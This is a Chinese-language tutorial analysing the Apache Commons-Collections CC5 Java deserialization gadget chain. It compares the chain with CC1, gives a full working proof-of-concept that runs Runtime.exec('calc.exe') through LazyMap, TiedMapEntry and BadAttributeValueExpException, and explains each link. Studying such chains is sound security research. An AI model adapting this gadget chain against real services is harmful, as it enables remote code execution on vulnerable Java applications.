java反序列化--CC5

java反序列化–CC5

前置

同样 重点分析链子

CC5可以在Commons-Collections=3.2.1Commons-Collections=4.0

下都可以运行 包括在8u401和8u65下都可以运行

但是 和CC1等在Commons-Collections=4.0的运行一样 改动的地方也是一样的

但是有这个前置条件:3.1>Common-Collection<=3.2.1&&Commons-Collections=4.0

CC5和CC1很像

CC1的链子是:

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

而CC5的链子是:

ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

基本一样的不是

与其说是CC5 我个人认为不如说变异的CC1

POC

同样 直接先上POC吧

这里我是在8u401+Commons-Collections=4.0下的结果

package example;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;


import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
public static void main(String[] args) throws Exception {

//构造核心利用代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

//构造利用链
ChainedTransformer chain = new ChainedTransformer(transformers);

//触发连
HashMap hashMap = new HashMap();
LazyMap lazymap = (LazyMap) LazyMap.lazyMap(hashMap, chain);
//将lazyMap传给TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazymap, "test");
//反射调用TiedMapEntry
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad,entry);

//序列化 --> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(bad);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

没问题哈

image-20240605201426807

链子分析

通过POC 我们可以看到

CC5在构造触发链时还是用到了LazyMap类,但不同的是使用了一个新的类TiedMapEntry来调用(CC6的)LazyMap链,然后将TiedMapEntry类又传给了BadAttributeValueExpException类的val属性

来看看TiedMapEntry是个怎么个事

我们只需要按照CC1的思路来分析这条链子就行

我们可以看到TiedMapEntry是实现了Serializable接口的

image-20240605201930542

并且在getValue方法并通过map属性调用了一个get方法

image-20240605202126900

而map属性是通过TiedMapEntry类的构造来赋值的(map属性是可控的),可以把LazyMap当做TiedMapEntry类的构造参数传给map属性。

image-20240605202313939

只需要控制 this.map = 我们的 hashMap 即可

这样就可以让TiedMapEntry类map属性来间接调用LazyMap类的get方法,从而触发之前构造的利用链了。

而getValue方法是在toString方法中被调用

image-20240605203006059

注:以上方法都是在TiedMapEntry类哈

那么怎么调用toString呢

我们找到一个类必须满足以下条件:

  • 重写readObject方法

  • 并在readObject方法中可以调用toString方法(并且调用toString方法的对象是可控的)

这样就找到了BadAttributeValueExpException类

image-20240605203750335

readObject方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。

链子通了

后续就是一样的了

就不分析了